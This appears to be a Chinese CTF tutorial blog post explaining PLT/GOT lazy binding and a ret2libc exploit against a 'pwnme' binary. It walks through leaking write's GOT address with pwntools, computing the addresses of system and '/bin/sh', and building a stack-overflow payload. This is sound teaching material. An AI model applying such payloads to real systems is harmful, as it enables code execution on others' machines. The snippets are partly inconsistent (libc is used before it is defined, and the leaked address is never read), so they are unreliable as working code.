关于ret2libc 中的plt/got

延迟绑定

即当第一次使用某函数时,GOT表中对应表项保存的并不是真实的函数地址,需要通过_dl_runtime_resolve查找到真实的函数地址并填入GOT对应表项,从而在下次再使用该函数时,无需进行查找。我们要泄漏的就是初始化查找后填入GOT对应表项中的函数地址。

  • 使用gdb,断点下在write函数之后,运行,x查看write.plt.got处的值,即实际地址;*
    >图四 >图五

plt 与 got

文件的plt表中存放着函数的.plt.got 地址,.plt.got 地址处的值为该函数的真正的got地址(也就是我们需要泄露的)

由于延迟绑定机制的存在,我们只能通过泄露被调用的函数的got地址,同时又因为同一libc库中各函数之间的偏移是固定的,我们就能因此来求出其他函数的got地址。

ret2libc的实现

  1. 文件给了一个pwnme文件与libc-2.19.so文件;checksec查看文件保护,IDA 查看源码,可以看到buf大小只有0x8,read却允许读入0x100大小的数据,有着明显的栈溢出;
图一](pwn-入门1-3-plt-got/checksec.png)  ![图二

图一](pwn-入门1-3-plt-got/checksec.png) ![图二

  1. 查看应用调用函数plt表,objdump -d -M intel -j .plt pwnme可以看到没有调用system,需要我们利用其它已调用的来泄露;
图三

图三

  1. 这里决定泄露write函数的got地址:使用pwntools,使程序运行完write函数,得到真实的got地址;
1
2
3
pwn = ELF('pwnme') 
sh.recvuntil('flag:')
wri_got = pwn.got['write']
  1. 构造payload泄露write函数的实际地址
1
pay = 'a'*20 + p32(pwn.symbols['write']) + p32(libc.symbols['vulnerable_function']) + p32(1) + p32(wri_got) + p32(4)
  1. 泄露libc中的system与/bin/sh地址
1
2
3
libc = ELF('libc-2.19.so')
sys_addr = wri_addr - libc.symbols['write'] + libc.symbols['system']
binsh_addr = wri_addr - libc.symbols['write'] + libc.search('/bin/sh').next()
  1. 构造payload
1
payload = 'a'*20 + p32(sys_addr) + 'bbbb' + p32(binsh_addr)